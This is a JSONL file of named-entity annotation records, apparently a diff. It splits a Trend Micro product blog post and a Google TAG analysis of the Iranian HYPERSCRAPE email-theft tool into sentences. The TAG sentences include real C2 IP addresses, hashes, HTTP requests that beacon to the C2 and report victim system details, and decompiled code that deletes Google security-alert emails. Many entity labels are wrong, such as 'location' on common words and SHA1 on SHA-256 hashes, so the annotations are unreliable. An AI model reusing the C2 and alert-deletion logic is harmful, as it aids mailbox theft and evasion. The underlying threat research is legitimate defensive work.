 {"id":11251,"text":"C2s 136.243.108.14 173.209.51.54 HYPERSCRAPE binaries","entities":[{"id":34394,"label":"IPV4","start_offset":4,"end_offset":18},{"id":34395,"label":"IPV4","start_offset":19,"end_offset":32}],"relations":[],"Comments":[]}
 {"id":11252,"text":"03d0e7ad4c12273a42e4c95d854408b98b0cf5ecf5f8c5ce05b24729b6f4e369 35a485972282b7e0e8e3a7a9cbf86ad93856378fd96cc8e230be5099c4b89208 5afc59cd2b39f988733eba427c8cf6e48bd2e9dc3d48a4db550655efe0dca798 6dc0600de00ba6574488472d5c48aa2a7b23a74ff1378d8aee6a93ea0ee7364f 767bd025c8e7d36f64dbd636ce0f29e873d1e3ca415d5ad49053a68918fe89f4 977f0053690684eb509da27d5eec2a560311c084a4a133191ef387e110e8b85f ac8e59e8abeacf0885b451833726be3e8e2d9c88d21f27b16ebe00f00c1409e6 cd2ba296828660ecd07a36e8931b851dda0802069ed926b3161745aae9aa6daa Microsoft Live DLL 1a831a79a932edd0398f46336712eff90ebb5164a189ef38c4dacc64ba84fe23 PDB E:\\Working\\Projects\\EmailDownloader\\EmailDownloaderCookieMode\\EmailDownloader\\obj\\Debug\\EmailDownloader.pdb E:\\Working\\Projects\\EmailDownloader\\EmailDownloaderCookieMode\\Mahdi\\LiveLib\\obj\\Release\\LiveLib.pdb","entities":[{"id":34396,"label":"SHA1","start_offset":0,"end_offset":64},{"id":34397,"label":"SHA1","start_offset":65,"end_offset":129},{"id":34398,"label":"SHA1","start_offset":130,"end_offset":194},{"id":34399,"label":"SHA1","start_offset":195,"end_offset":259},{"id":34400,"label":"SHA2","start_offset":260,"end_offset":324},{"id":34401,"label":"SHA1","start_offset":325,"end_offset":389},{"id":34402,"label":"SHA1","start_offset":390,"end_offset":454},{"id":34403,"label":"SHA1","start_offset":455,"end_offset":519},{"id":34404,"label":"identity","start_offset":520,"end_offset":529},{"id":34405,"label":"SHA1","start_offset":539,"end_offset":603}],"relations":[],"Comments":[]}
 {"id":11253,"text":"This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q2 2022.","entities":[],"relations":[],"Comments":[]}
 {"id":11254,"text":"It was last updated on July 29, 2022.","entities":[],"relations":[],"Comments":[]}
-{"id":11255,"text":"Trend Micro Vision One™ is at the core of our unified cybersecurity platform, delivering powerful, industry-leading extended detection and response (XDR), centralized visibility and risk insights.","entities":[{"id":34409,"label":"location","start_offset":34,"end_offset":38},{"id":34410,"label":"location","start_offset":99,"end_offset":107},{"id":34411,"label":"location","start_offset":135,"end_offset":138},{"id":34412,"label":"location","start_offset":178,"end_offset":181}],"relations":[],"Comments":[]}
 {"id":11256,"text":"Vision One integrates with Palo Alto Networks Cortex™ XSOAR to drive automated response to incidents uncovered by Vision One.","entities":[],"relations":[],"Comments":[]}
-{"id":11257,"text":"This simplifies investigations and response for SOC analysts, enabling them to easily execute necessary steps all from within Cortex™ XSOAR via commands and playbooks.","entities":[{"id":34417,"label":"location","start_offset":31,"end_offset":34},{"id":34418,"label":"location","start_offset":71,"end_offset":75},{"id":34420,"label":"location","start_offset":153,"end_offset":156}],"relations":[],"Comments":[]}
-{"id":11258,"text":"At the core of this integration is the creation of Cortex™ XSOAR incidents from Trend Micro Vision One™ workbench alerts.","entities":[{"id":34421,"label":"location","start_offset":7,"end_offset":11}],"relations":[],"Comments":[]}
 {"id":11259,"text":"          Having the incident details available in the Cortex™ XSOAR platform enables analysts to execute a series of manual or automated actions through the Trend Micro Vision One™ platform in response to a potential threat.","entities":[],"relations":[],"Comments":[]}
-{"id":11260,"text":"In the initial release of this content pack, we have made the following response actions available:  Add item to exception list Adds domains, IP addresses, URLs, or file hashes to the known good list","entities":[{"id":34426,"label":"location","start_offset":31,"end_offset":38},{"id":34427,"label":"location","start_offset":53,"end_offset":57},{"id":34428,"label":"location","start_offset":123,"end_offset":127},{"id":34429,"label":"location","start_offset":190,"end_offset":194},{"id":34430,"label":"location","start_offset":195,"end_offset":199}],"relations":[],"Comments":[]}
-{"id":11261,"text":"Remove item from the exception list Removes domains, IP address, URLs, or file hashes from the known good list","entities":[{"id":34431,"label":"location","start_offset":31,"end_offset":35},{"id":34432,"label":"location","start_offset":101,"end_offset":105},{"id":34433,"label":"location","start_offset":106,"end_offset":110}],"relations":[],"Comments":[]}
-{"id":11262,"text":"Add item to suspicious objects list Adds domains IP addresses, URLs, or file hashes to the suspicious object list and specifies the appropriate action to take if discovered (log or block)","entities":[{"id":34434,"label":"location","start_offset":31,"end_offset":35},{"id":34435,"label":"location","start_offset":109,"end_offset":113},{"id":34436,"label":"location","start_offset":114,"end_offset":117},{"id":34437,"label":"location","start_offset":144,"end_offset":150}],"relations":[],"Comments":[]}
-{"id":11263,"text":"Remove item from suspicious objects list Removes domains IP addresses, URLs, or file hashes from the suspicious object list","entities":[{"id":34438,"label":"location","start_offset":36,"end_offset":40},{"id":34439,"label":"location","start_offset":119,"end_offset":123}],"relations":[],"Comments":[]}
 {"id":11264,"text":"Collect files Collects the specified file from an endpoint during an investigation Submit a file for sandbox analysis Submits a file to the Trend Micro Vision One sandbox for automated analysis Retrieve sandbox analysis report Retrieves the analysis report, IOCs, or artifacts available after automated analysis Quarantine email message","entities":[],"relations":[],"Comments":[]}
-{"id":11265,"text":"Removes the specified email message from the user’s mailbox and places it in the mail quarantine","entities":[{"id":34441,"label":"location","start_offset":60,"end_offset":63}],"relations":[],"Comments":[]}
 {"id":11266,"text":"Delete email message Permanently deletes the specified email message from the user’s mailbox","entities":[],"relations":[],"Comments":[]}
 {"id":11267,"text":"Gather information on an endpoint Gathers information from the endpoint such as the current logged on user, operating system details, IP address, hostname, mac address","entities":[],"relations":[],"Comments":[]}
 {"id":11268,"text":"Terminate process Terminates the specified process if currently running on an endpoint Isolate endpoint Blocks all network activity on an endpoint while the system is being investigated","entities":[],"relations":[],"Comments":[]}
 {"id":11269,"text":"Restore endpoint connection Restores the network connectivity on an endpoint after investigation and\/or remediation has occurred","entities":[],"relations":[],"Comments":[]}
-{"id":11270,"text":"Check action status Checks the status of a triggered Trend Micro Vision One response action  These actions lend the power of Trend Micro Vision One™ to analysts as they investigate and respond to incidents.","entities":[{"id":34442,"label":"location","start_offset":0,"end_offset":5},{"id":34443,"label":"location","start_offset":6,"end_offset":12},{"id":34445,"label":"location","start_offset":85,"end_offset":91},{"id":34446,"label":"location","start_offset":116,"end_offset":121},{"id":34448,"label":"location","start_offset":181,"end_offset":184}],"relations":[],"Comments":[]}
-{"id":11271,"text":"All of these actions can be run manually or can be included in the organization’s pre-defined playbooks for automated response.","entities":[{"id":34449,"label":"location","start_offset":21,"end_offset":24},{"id":34450,"label":"location","start_offset":44,"end_offset":47}],"relations":[],"Comments":[]}
-{"id":11272,"text":"To demonstrate the value of these integrated platforms, let us walk through a use case where the combination of Trend Micro Vision One™ and Palo Alto Networks Cortex™ XSOAR improved a customer’s ability to investigate and respond to incidents.","entities":[{"id":34451,"label":"location","start_offset":82,"end_offset":86},{"id":34455,"label":"location","start_offset":218,"end_offset":221}],"relations":[],"Comments":[]}
 {"id":11273,"text":"Scenario: If credential dumping was detected on a host, the security operations team wanted to automate the collection of artifacts to be used during a subsequent investigation.","entities":[{"id":34456,"label":"attack-pattern","start_offset":13,"end_offset":31},{"id":34457,"label":"location","start_offset":50,"end_offset":54},{"id":34458,"label":"location","start_offset":60,"end_offset":68}],"relations":[],"Comments":[]}
-{"id":11274,"text":"Threat actors are very efficient at cleaning up their tracks to evade tracing, so this activity would need to be executed quickly.","entities":[{"id":34459,"label":"location","start_offset":14,"end_offset":17}],"relations":[],"Comments":[]}
 {"id":11275,"text":"Trend Micro Vision One™ is very effective at identifying the various techniques threat actors use to discover credentials.","entities":[],"relations":[],"Comments":[]}
-{"id":11276,"text":"One commonly used technique that gets detected is the dumping of credentials via the Local Security Authority Server Service (LSASS) process in Microsoft Windows.","entities":[{"id":34462,"label":"location","start_offset":91,"end_offset":99}],"relations":[],"Comments":[]}
-{"id":11277,"text":"         As you can see in this example, it was observed that Windows Task Manager was used to dump the LSASS process to a file.","entities":[{"id":34464,"label":"location","start_offset":16,"end_offset":19}],"relations":[],"Comments":[]}
-{"id":11278,"text":"This file can then be analyzed by a threat actor to look for password hashes they can use as part of their attack.","entities":[{"id":34465,"label":"location","start_offset":10,"end_offset":13},{"id":34466,"label":"location","start_offset":82,"end_offset":85}],"relations":[],"Comments":[]}
-{"id":11279,"text":"Security analysts may also want to examine the content of a credential dump to identify the account information the threat actor may have had access to.","entities":[{"id":34467,"label":"location","start_offset":0,"end_offset":8},{"id":34468,"label":"location","start_offset":18,"end_offset":21},{"id":34469,"label":"location","start_offset":47,"end_offset":54},{"id":34470,"label":"location","start_offset":129,"end_offset":132}],"relations":[],"Comments":[]}
-{"id":11280,"text":"Trend Micro Vision One’s contextual response actions could be used to retrieve this information from the endpoint when reviewing an incident.","entities":[{"id":34471,"label":"location","start_offset":6,"end_offset":11},{"id":34472,"label":"location","start_offset":19,"end_offset":22}],"relations":[],"Comments":[]}
 {"id":11281,"text":"         However, since threat actors tend to cover their tracks quickly, by the time the security analyst is reviewing the incident, there is a chance that critical information may have been permanently deleted and is no longer readily accessible.          Instead of depending on a security analyst to review a credential dumping event and manually collecting artifacts for their investigation, Trend Micro wanted to automate the collection of this evidence as quickly as possible when a detection occurs.","entities":[{"id":34473,"label":"location","start_offset":81,"end_offset":85},{"id":34474,"label":"location","start_offset":90,"end_offset":98},{"id":34475,"label":"location","start_offset":145,"end_offset":151},{"id":34476,"label":"location","start_offset":178,"end_offset":181},{"id":34477,"label":"location","start_offset":212,"end_offset":215},{"id":34478,"label":"location","start_offset":284,"end_offset":292},{"id":34479,"label":"attack-pattern","start_offset":313,"end_offset":331},{"id":34480,"label":"location","start_offset":338,"end_offset":341}],"relations":[],"Comments":[]}
-{"id":11282,"text":"This allows for information to be gathered prior to it being exfiltrated and destroyed.","entities":[{"id":34482,"label":"location","start_offset":73,"end_offset":76}],"relations":[],"Comments":[]}
-{"id":11283,"text":"To automate the retrieval of the dumped credentials, we leveraged the powerful integration between Trend Micro Vision One™ and Cortex™ XSOAR to create a playbook for this task.","entities":[{"id":34483,"label":"location","start_offset":91,"end_offset":98}],"relations":[],"Comments":[]}
 {"id":11284,"text":"The first step in our playbook is to check if the event is related to credential dumping.","entities":[{"id":34487,"label":"location","start_offset":37,"end_offset":42},{"id":34488,"label":"attack-pattern","start_offset":70,"end_offset":88}],"relations":[],"Comments":[]}
-{"id":11285,"text":"If not, there is no point in collecting any files from the endpoint, so we jump to the end.","entities":[{"id":34489,"label":"location","start_offset":20,"end_offset":25}],"relations":[],"Comments":[]}
-{"id":11286,"text":"We then use the “trendmicro-visionone-get-endpoint-info” integration command to gather information about the endpoint(s) where the detection occurred that will be used as inputs for commands that will run later.","entities":[{"id":34490,"label":"location","start_offset":155,"end_offset":159},{"id":34491,"label":"location","start_offset":196,"end_offset":200}],"relations":[],"Comments":[]}
-{"id":11287,"text":"This would include things like the operating system and which Trend Micro product is deployed on the endpoint.","entities":[{"id":34492,"label":"location","start_offset":52,"end_offset":55}],"relations":[],"Comments":[]}
 {"id":11288,"text":"After we have gathered the information, the next step is to collect the file from the endpoint using the command “trendmicro-visionone-collect-forensic-file”.","entities":[],"relations":[],"Comments":[]}
-{"id":11289,"text":"Outputs from the “trendmicro-visionone-get-endpoint-info” command will be passed to this command along with details from the incident about the files where the credentials were dumped.","entities":[{"id":34494,"label":"location","start_offset":66,"end_offset":70},{"id":34495,"label":"location","start_offset":97,"end_offset":102}],"relations":[],"Comments":[]}
-{"id":11290,"text":"We now need to wait for the complete collection of the file(s) so we will run the “trendmicro-visionone-check-status” command to continuously poll for the status of the file collection and wait until it is complete before moving on to the next step.","entities":[{"id":34496,"label":"location","start_offset":69,"end_offset":73},{"id":34497,"label":"location","start_offset":104,"end_offset":109},{"id":34498,"label":"location","start_offset":185,"end_offset":188}],"relations":[],"Comments":[]}
-{"id":11291,"text":"After the file has been collected, it is stored in the Trend Micro Vision One™ platform.","entities":[{"id":34499,"label":"location","start_offset":61,"end_offset":66},{"id":34500,"label":"location","start_offset":74,"end_offset":77}],"relations":[],"Comments":[]}
 {"id":11292,"text":"We need to request that a download link be generated for the collected files with the “trendmicro-visionone-download-information-for-collected-forensic-file”.","entities":[],"relations":[],"Comments":[]}
-{"id":11293,"text":"These download links are intended to be used quickly, or in automation tasks, and therefore have very short lifetimes.","entities":[{"id":34501,"label":"location","start_offset":21,"end_offset":24},{"id":34502,"label":"location","start_offset":78,"end_offset":81},{"id":34503,"label":"location","start_offset":102,"end_offset":107}],"relations":[],"Comments":[]}
 {"id":11294,"text":"Once we have the download link, we can then use the Cortex™ XSOAR built-in command “http” to retrieve the file and save it to the War Room for this incident so that it can be downloaded and analyzed.          This is just one example use case that we have seen implemented to automate security operations by leveraging the integration between Trend Micro Vision One™ and Palo Alto Networks Cortex™ XSOAR.","entities":[{"id":34504,"label":"location","start_offset":35,"end_offset":38},{"id":34506,"label":"location","start_offset":111,"end_offset":114},{"id":34507,"label":"location","start_offset":115,"end_offset":119},{"id":34509,"label":"location","start_offset":168,"end_offset":171},{"id":34510,"label":"location","start_offset":186,"end_offset":189},{"id":34511,"label":"identity","start_offset":217,"end_offset":221},{"id":34513,"label":"location","start_offset":238,"end_offset":242},{"id":34514,"label":"location","start_offset":285,"end_offset":293},{"id":34515,"label":"location","start_offset":335,"end_offset":342},{"id":34517,"label":"location","start_offset":367,"end_offset":370}],"relations":[],"Comments":[]}
-{"id":11295,"text":"We look forward to seeing how many additional ways these integrated platforms can help organizations improve their security operations.","entities":[{"id":34520,"label":"location","start_offset":30,"end_offset":34},{"id":34521,"label":"location","start_offset":78,"end_offset":81},{"id":34522,"label":"location","start_offset":115,"end_offset":123}],"relations":[],"Comments":[]}
-{"id":11296,"text":"Why not take Trend Micro Vision One™ for a test drive to see how it can help you see more and respond faster to the threats your organization faces?","entities":[{"id":34524,"label":"location","start_offset":68,"end_offset":71},{"id":34525,"label":"location","start_offset":90,"end_offset":93}],"relations":[],"Comments":[]}
 {"id":11297,"text":"Copyright © 2022.","entities":[],"relations":[],"Comments":[]}
 {"id":11298,"text":"Trend Micro Incorporated.","entities":[],"relations":[],"Comments":[]}
 {"id":11299,"text":"All rights reserved.","entities":[],"relations":[],"Comments":[]}
-{"id":11300,"text":"Trend Micro and the t-ball logo are registered trademarks of Trend Micro Incorporated.","entities":[{"id":34529,"label":"location","start_offset":12,"end_offset":15},{"id":34530,"label":"location","start_offset":22,"end_offset":26},{"id":34531,"label":"location","start_offset":32,"end_offset":35}],"relations":[],"Comments":[]}
 {"id":11301,"text":"Cortex XSOAR is a trademark of Palo Alto Networks.","entities":[],"relations":[],"Comments":[]}
-{"id":11302,"text":"    Tags  Latest News | Exploits & Vulnerabilities | Cyber Threats | APT & Targeted Attacks | Endpoints | Network | Articles, News, Reports","entities":[{"id":34535,"label":"location","start_offset":69,"end_offset":72}],"relations":[],"Comments":[]}
-{"id":11303,"text":"As part of TAG's mission to counter serious threats to Google and our users, we've analyzed a range of persistent threats including APT35 and Charming Kitten, an Iranian government-backed group that regularly targets high risk users.","entities":[{"id":34537,"label":"location","start_offset":17,"end_offset":24},{"id":34539,"label":"location","start_offset":62,"end_offset":65},{"id":34540,"label":"location","start_offset":94,"end_offset":99},{"id":34542,"label":"location","start_offset":138,"end_offset":141}],"relations":[],"Comments":[]}
-{"id":11304,"text":"For years, we have been countering this group’s efforts to hijack accounts, deploy malware, and their use of novel techniques to conduct espionage aligned with the interests of the Iranian government.","entities":[{"id":34546,"label":"location","start_offset":92,"end_offset":95}],"relations":[],"Comments":[]}
-{"id":11305,"text":"Now, we’re shining light on a new tool of theirs.","entities":[{"id":34548,"label":"location","start_offset":19,"end_offset":24},{"id":34549,"label":"location","start_offset":34,"end_offset":38}],"relations":[],"Comments":[]}
 {"id":11306,"text":"In December 2021, TAG discovered a novel Charming Kitten tool, named HYPERSCRAPE, used to steal user data from Gmail, Yahoo!, and Microsoft Outlook accounts.","entities":[{"id":34552,"label":"threat-actor","start_offset":41,"end_offset":56},{"id":34553,"label":"location","start_offset":57,"end_offset":61},{"id":34557,"label":"location","start_offset":126,"end_offset":129}],"relations":[],"Comments":[]}
 {"id":11307,"text":"The attacker runs HYPERSCRAPE on their own machine to download victims’ inboxes using previously acquired credentials.","entities":[],"relations":[],"Comments":[]}
 {"id":11308,"text":"We have seen it deployed against fewer than two dozen accounts located in Iran.","entities":[],"relations":[],"Comments":[]}
-{"id":11309,"text":"The oldest known sample is from 2020, and the tool is still under active development.","entities":[{"id":34563,"label":"location","start_offset":17,"end_offset":23},{"id":34565,"label":"location","start_offset":38,"end_offset":41},{"id":34566,"label":"location","start_offset":46,"end_offset":50}],"relations":[],"Comments":[]}
-{"id":11310,"text":"We have taken actions to re-secure these accounts and have notified the victims through our Government Backed Attacker Warnings.","entities":[{"id":34567,"label":"location","start_offset":50,"end_offset":53}],"relations":[],"Comments":[]}
-{"id":11311,"text":"This post will provide technical details about HYPERSCRAPE, similar to PWC’s recently published analysis on a Telegram grabber tool.","entities":[{"id":34568,"label":"location","start_offset":5,"end_offset":9},{"id":34569,"label":"location","start_offset":10,"end_offset":14},{"id":34573,"label":"location","start_offset":127,"end_offset":131}],"relations":[],"Comments":[]}
 {"id":11312,"text":"HYPERSCRAPE demonstrates Charming Kitten’s commitment to developing and maintaining purpose-built capabilities.","entities":[{"id":34575,"label":"threat-actor","start_offset":25,"end_offset":40},{"id":34576,"label":"location","start_offset":68,"end_offset":71}],"relations":[],"Comments":[]}
 {"id":11313,"text":"Like much of their tooling, HYPERSCRAPE is not notable for its technical sophistication, but rather its effectiveness in accomplishing Charming Kitten’s objectives.","entities":[{"id":34577,"label":"location","start_offset":5,"end_offset":9},{"id":34579,"label":"threat-actor","start_offset":135,"end_offset":150}],"relations":[],"Comments":[]}
 {"id":11314,"text":" HYPERSCRAPE requires the victim’s account credentials to run using a valid, authenticated user session the attacker has hijacked, or credentials the attacker has already acquired.","entities":[],"relations":[],"Comments":[]}
-{"id":11315,"text":"It spoofs the user agent to look like an outdated browser, which enables the basic HTML view in Gmail.","entities":[{"id":34581,"label":"location","start_offset":88,"end_offset":92}],"relations":[],"Comments":[]}
-{"id":11316,"text":"Once logged in, the tool changes the account’s language settings to English and iterates through the contents of the mailbox, individually downloading messages as .eml files and marking them unread.","entities":[{"id":34583,"label":"location","start_offset":20,"end_offset":24},{"id":34585,"label":"location","start_offset":76,"end_offset":79},{"id":34586,"label":"location","start_offset":174,"end_offset":177},{"id":34587,"label":"location","start_offset":186,"end_offset":190}],"relations":[],"Comments":[]}
-{"id":11317,"text":"After the program has finished downloading the inbox, it reverts the language back to its original settings and deletes any security emails from Google.","entities":[{"id":34588,"label":"location","start_offset":108,"end_offset":111},{"id":34589,"label":"location","start_offset":124,"end_offset":132}],"relations":[],"Comments":[]}
-{"id":11318,"text":"Earlier versions contained the option to request data from Google Takeout, a feature which allows users to export their data to a downloadable archive file.","entities":[{"id":34592,"label":"location","start_offset":107,"end_offset":113}],"relations":[],"Comments":[]}
-{"id":11319,"text":"The tool is written in .NET for Windows PCs and is designed to run on the attacker's machine.","entities":[{"id":34593,"label":"location","start_offset":4,"end_offset":8},{"id":34594,"label":"location","start_offset":44,"end_offset":47}],"relations":[],"Comments":[]}
-{"id":11320,"text":"We tested HYPERSCRAPE in a controlled environment with a test Gmail Account, although functionality may differ for Yahoo! and Microsoft accounts.","entities":[{"id":34597,"label":"location","start_offset":100,"end_offset":103},{"id":34600,"label":"location","start_offset":122,"end_offset":125}],"relations":[],"Comments":[]}
 {"id":11321,"text":"HYPERSCRAPE won't run unless in a directory with other file dependencies.","entities":[],"relations":[],"Comments":[]}
-{"id":11322,"text":"When launched, the tool makes an HTTP GET request to a C2 to check for a response body of \"OK'' and will terminate if it's not found.","entities":[{"id":34603,"label":"location","start_offset":19,"end_offset":23},{"id":34604,"label":"location","start_offset":61,"end_offset":66},{"id":34605,"label":"location","start_offset":96,"end_offset":99},{"id":34606,"label":"location","start_offset":100,"end_offset":104}],"relations":[],"Comments":[]}
-{"id":11323,"text":"In the version tested, the C2 was unobfuscated and stored as a hardcoded string.","entities":[{"id":34607,"label":"location","start_offset":47,"end_offset":50}],"relations":[],"Comments":[]}
 {"id":11324,"text":"In later versions it was obfuscated with Base64.","entities":[],"relations":[],"Comments":[]}
 {"id":11325,"text":"GET http:\/\/{C2}\/Index.php?Ck=OK HTTP\/1.1","entities":[{"id":34608,"label":"URL","start_offset":4,"end_offset":28}],"relations":[],"Comments":[]}
-{"id":11326,"text":"Host: {C2}","entities":[{"id":34609,"label":"location","start_offset":0,"end_offset":4}],"relations":[],"Comments":[]}
 {"id":11327,"text":"Accept-Encoding: gzip Connection: Keep-Alive","entities":[],"relations":[],"Comments":[]}
-{"id":11328,"text":"The tool accepts arguments from the command line such as the mode of operation, an identifier string, and a path string to a valid cookie file.","entities":[{"id":34610,"label":"location","start_offset":4,"end_offset":8},{"id":34611,"label":"location","start_offset":61,"end_offset":65},{"id":34612,"label":"location","start_offset":102,"end_offset":105}],"relations":[],"Comments":[]}
 {"id":11329,"text":"A new form is displayed if the information is not provided via command prompt.","entities":[],"relations":[],"Comments":[]}
-{"id":11330,"text":"Once provided, the data in the \"Identity\" field is sent to a C2 for confirmation.","entities":[{"id":34613,"label":"location","start_offset":42,"end_offset":47}],"relations":[],"Comments":[]}
 {"id":11331,"text":"Again, the response is expected to be \"OK\".","entities":[],"relations":[],"Comments":[]}
 {"id":11332,"text":"GET http:\/\/{C2}\/Index.php?vubc={identity} HTTP\/1.1","entities":[{"id":34614,"label":"URL","start_offset":4,"end_offset":40}],"relations":[],"Comments":[]}
-{"id":11333,"text":"Host: {C2} Accept-Encoding: gzip","entities":[{"id":34615,"label":"location","start_offset":0,"end_offset":4}],"relations":[],"Comments":[]}
-{"id":11334,"text":"If the cookie file path was not supplied via the command line, a new form will allow the operator to do so using drag and drop.","entities":[{"id":34616,"label":"location","start_offset":74,"end_offset":78},{"id":34617,"label":"location","start_offset":118,"end_offset":121}],"relations":[],"Comments":[]}
-{"id":11335,"text":"After parsing, the cookies are inserted into a local cache used by the embedded web browser.","entities":[{"id":34618,"label":"location","start_offset":27,"end_offset":30},{"id":34619,"label":"location","start_offset":53,"end_offset":58}],"relations":[],"Comments":[]}
 {"id":11336,"text":"A new folder named \"Download\" is created adjacent to the main binary.","entities":[],"relations":[],"Comments":[]}
 {"id":11337,"text":"The browser then navigates to Gmail to begin the data collection.","entities":[],"relations":[],"Comments":[]}
-{"id":11338,"text":"The user agent is spoofed so it appears like an outdated browser, which results in an error message and allows the attacker to enable the basic HTML view in Gmail.","entities":[{"id":34621,"label":"location","start_offset":100,"end_offset":103},{"id":34622,"label":"location","start_offset":149,"end_offset":153}],"relations":[],"Comments":[]}
 {"id":11339,"text":"If the cookies failed to provide access to the account, a login page is displayed and the attacker can manually enter credentials to proceed, as the program will wait until it finds the inbox page.","entities":[{"id":34624,"label":"malware","start_offset":64,"end_offset":68},{"id":34625,"label":"location","start_offset":82,"end_offset":85},{"id":34626,"label":"location","start_offset":99,"end_offset":102},{"id":34627,"label":"location","start_offset":112,"end_offset":117},{"id":34628,"label":"location","start_offset":157,"end_offset":161},{"id":34629,"label":"location","start_offset":192,"end_offset":196}],"relations":[],"Comments":[]}
 {"id":11340,"text":"Once the attacker has logged in to the victim’s account, HYPERSCRAPE checks to see if the language is set to English, changing it if not.","entities":[],"relations":[],"Comments":[]}
 {"id":11341,"text":"The language is returned to its original setting when the run is finished.","entities":[],"relations":[],"Comments":[]}
 {"id":11342,"text":"HYPERSCRAPE then begins iterating through all available tabs in the inbox looking for emails to download.","entities":[],"relations":[],"Comments":[]}
-{"id":11343,"text":"It does the following for each email found: The emails are saved with \".eml\" extensions under the Downloads directory with the filename corresponding to the subject.","entities":[{"id":34633,"label":"location","start_offset":55,"end_offset":58}],"relations":[],"Comments":[]}
 {"id":11344,"text":"A log file is written containing a count of the emails that were downloaded.","entities":[],"relations":[],"Comments":[]}
-{"id":11345,"text":"When finished, a HTTP POST request is made to the C2 to relay the status and system information.","entities":[{"id":34634,"label":"location","start_offset":22,"end_offset":26},{"id":34635,"label":"location","start_offset":38,"end_offset":42},{"id":34636,"label":"location","start_offset":73,"end_offset":76}],"relations":[],"Comments":[]}
-{"id":11346,"text":"The downloaded emails are not sent to the C2.","entities":[{"id":34637,"label":"location","start_offset":22,"end_offset":25}],"relations":[],"Comments":[]}
 {"id":11347,"text":"POST http:\/\/{C2}\/?Key={GUID}&Crc={Identifier} { \"appName\": \"Gmail Downloader\", \"targetname\": \"{Email}\", \"HostName\": \"REDACTED\", \"srcUserIP\": \"REDACTED\", \"actionType\": \"First\", \"timeOccurrence\": \"05\/01\/2022 05:50:31 PM\", \"OS\": \"REDACTED\", \"OSVersion\": \"REDACTED\", \"SystemModel\": \"REDACTED\", \"SystemType\": \"REDACTED\", \"srcName\": \"REDACTED\", \"srcOrgName\": \"REDACTED\" }","entities":[{"id":34638,"label":"location","start_offset":0,"end_offset":4},{"id":34639,"label":"URL","start_offset":5,"end_offset":44},{"id":34641,"label":"TIME","start_offset":206,"end_offset":217}],"relations":[],"Comments":[]}
-{"id":11348,"text":"The program will delete any security emails from Google generated by the attacker’s activity.","entities":[{"id":34642,"label":"location","start_offset":12,"end_offset":16},{"id":34643,"label":"location","start_offset":28,"end_offset":36}],"relations":[],"Comments":[]}
-{"id":11349,"text":"private bool IsThereAnyEMail() { List < GeckoHtmlElement > list = (from x in this.geckoWebBrowser.Document.GetElementsByTagName(\"span\") where x.TextContent.StartsWith (\"Security alert\") || x.TextContent.StartsWith(\"Archive of Google data requested\") || x.TextContent.StartsWith(\"Your Google data archive is ready\") || x.TextContent.StartsWith(\"Your Google data is ready\") || x.TextContent.StartsWith(\"Critical security alert\") ||","entities":[{"id":34645,"label":"location","start_offset":33,"end_offset":37},{"id":34646,"label":"location","start_offset":59,"end_offset":63},{"id":34647,"label":"location","start_offset":169,"end_offset":177},{"id":34648,"label":"location","start_offset":178,"end_offset":183},{"id":34652,"label":"location","start_offset":410,"end_offset":418},{"id":34653,"label":"location","start_offset":419,"end_offset":424}],"relations":[],"Comments":[]}
 {"id":11350,"text":"x.TextContent.StartsWith(\"Access for less secure apps has been turned on\") ||","entities":[],"relations":[],"Comments":[]}
 {"id":11351,"text":"x.TextContent.StartsWith(\"Review blocked sign-in attempt\") || x.TextContent.","entities":[],"relations":[],"Comments":[]}
-{"id":11352,"text":"StartsWith(\"Help us protect you: Security advice from Google\")","entities":[{"id":34654,"label":"location","start_offset":33,"end_offset":41}],"relations":[],"Comments":[]}
 {"id":11353,"text":"x.TextContent.StartsWith(\"Access for less secure apps has been turned on\") select x).ToList","entities":[],"relations":[],"Comments":[]}
 {"id":11354,"text":"GeckoHtmlElement > (","entities":[],"relations":[],"Comments":[]}
-{"id":11355,"text":"; bool flag = list.Count == 0; return !flag; }","entities":[{"id":34655,"label":"location","start_offset":7,"end_offset":11},{"id":34656,"label":"location","start_offset":14,"end_offset":18},{"id":34657,"label":"location","start_offset":39,"end_offset":43}],"relations":[],"Comments":[]}
-{"id":11356,"text":"Data from Google Takeout is also available upon request, but the option was only found in early builds.","entities":[{"id":34658,"label":"location","start_offset":76,"end_offset":80},{"id":34659,"label":"location","start_offset":90,"end_offset":95}],"relations":[],"Comments":[]}
-{"id":11357,"text":"The functionality was not automated and it's unclear why it was removed in later versions.","entities":[{"id":34660,"label":"location","start_offset":36,"end_offset":39}],"relations":[],"Comments":[]}
-{"id":11358,"text":"When conducting a Takeout, the program will spawn a new copy of itself and initialize a pipe communication channel to relay the cookies and account name, both of which are required to accomplish the Takeout.","entities":[{"id":34661,"label":"location","start_offset":39,"end_offset":43},{"id":34662,"label":"location","start_offset":71,"end_offset":74},{"id":34663,"label":"location","start_offset":136,"end_offset":139},{"id":34664,"label":"location","start_offset":168,"end_offset":171}],"relations":[],"Comments":[]}
-{"id":11359,"text":"When they are received, the browser navigates to the official Takeout link to request and eventually download the exported data.","entities":[{"id":34665,"label":"location","start_offset":10,"end_offset":13},{"id":34666,"label":"location","start_offset":86,"end_offset":89}],"relations":[],"Comments":[]}
 {"id":11360,"text":"public void ManageTakeOut() { string text = \"PipeName\";","entities":[{"id":34667,"label":"location","start_offset":0,"end_offset":6},{"id":34668,"label":"malware","start_offset":7,"end_offset":11}],"relations":[],"Comments":[]}
-{"id":11361,"text":"Process process = new Process(); process.StartInfo.Arguments = string.Format(\"PIPE Google \\\"{0}\\\"\", text); process.StartInfo.FileName = Process.GetCurrentProcess().MainModule.FileName; process.Start();","entities":[{"id":34669,"label":"location","start_offset":193,"end_offset":198}],"relations":[],"Comments":[]}
-{"id":11362,"text":"PipeCommunication pipeCommunication = new PipeCommunication(true, text); bool flag = false; while (!flag)","entities":[{"id":34670,"label":"location","start_offset":78,"end_offset":82},{"id":34671,"label":"location","start_offset":100,"end_offset":104}],"relations":[],"Comments":[]}
-{"id":11363,"text":"{ try { JsonInfo jsonInfo = pipeCommunication.Read(); switch (jsonInfo.Type) { case JsonType.GetCookies: jsonInfo.Data = this.CookieText; pipeCommunication.Write(jsonInfo); break; case JsonType.TakeOutFile: flag = true; break; case JsonType.GetUsername: while (this.OperationObject.GetUsername() == null) { Thread.Sleep(1000); }","entities":[{"id":34672,"label":"location","start_offset":71,"end_offset":75},{"id":34673,"label":"location","start_offset":79,"end_offset":83},{"id":34674,"label":"location","start_offset":180,"end_offset":184},{"id":34675,"label":"location","start_offset":207,"end_offset":211},{"id":34676,"label":"location","start_offset":214,"end_offset":218},{"id":34677,"label":"location","start_offset":227,"end_offset":231}],"relations":[],"Comments":[]}
